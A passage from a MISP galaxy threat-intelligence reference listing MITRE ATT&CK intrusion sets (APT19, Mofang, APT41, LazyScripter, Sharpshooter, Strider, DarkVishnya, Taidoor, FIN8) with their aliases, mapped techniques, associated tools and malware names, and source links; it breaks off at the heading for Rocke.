[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="APT19 - G0073"*

APT19 - G0073 is also known as:

- APT19
- Codoso
- C0d0so0
- Codoso Team
- Sunshop Group

View relationships graph

APT19 - G0073 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5055. Table References

Links

https://attack.mitre.org/groups/G0073
https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/
https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
https://www.fireeye.com/current-threats/apt-groups.html#apt19

Mofang - G0103

[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-intrusion-set="Mofang - G0103"*

Mofang - G0103 is also known as:

- Mofang

View relationships graph

Mofang - G0103 has relationships with:

- uses: misp-galaxy:mitre-tool="ShimRatReporter - S0445" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ShimRat - S0444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5056. Table References

Links

https://attack.mitre.org/groups/G0103
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

APT41 - G0096

[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="APT41 - G0096"*

APT41 - G0096 is also known as:

- APT41
- WICKED PANDA

View relationships graph

APT41 - G0096 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Winnti for Linux - S0430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="MESSAGETAP - S0443" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ROCKBOOT - S0112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5057. Table References

Links
https://attack.mitre.org/groups/G0096
https://blog.group-ib.com/colunmtk_apt41
https://content.fireeye.com/apt-41/rpt-apt41
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

LazyScripter - G0140

[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="LazyScripter - G0140"*

LazyScripter - G0140 is also known as:

- LazyScripter

View relationships graph

LazyScripter - G0140 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Remcos - S0332" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ngrok - S0508" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KOCTOPUS - S0669" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5058. Table References

Links
https://attack.mitre.org/groups/G0140
https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

Sharpshooter - G0104

Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Sharpshooter - G0104"*

Sharpshooter - G0104 is also known as:

- Sharpshooter

View relationships graph

Sharpshooter - G0104 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Rising Sun - S0448" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5059. Table References

Links
https://attack.mitre.org/groups/G0104
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf

Strider - G0041

[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)

The tag is: *misp-galaxy:mitre-intrusion-set="Strider - G0041"*

Strider - G0041 is also known as:

- Strider
- ProjectSauron

View relationships graph

Strider - G0041 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Remsec - S0125" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5060. Table References

Links
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://attack.mitre.org/groups/G0041
https://securelist.com/faq-the-projectsauron-apt/75533/
https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf

DarkVishnya - G0105

[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="DarkVishnya - G0105"*

DarkVishnya - G0105 is also known as:

- DarkVishnya

View relationships graph

DarkVishnya - G0105 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5061. Table References

Links
https://attack.mitre.org/groups/G0105
https://securelist.com/darkvishnya/89169/

Taidoor - G0015

[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.

The tag is: *misp-galaxy:mitre-intrusion-set="Taidoor - G0015"*

Taidoor - G0015 is also known as:

- Taidoor

View relationships graph

Taidoor - G0015 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 5062. Table References

Links
https://attack.mitre.org/groups/G0015

FIN8 - G0061

[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN8 - G0061"*

FIN8 - G0061 is also known as:

- FIN8

View relationships graph

FIN8 - G0061 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PUNCHTRACK - S0197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5063. Table References

Links
https://attack.mitre.org/groups/G0061
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html

Rocke - G0106

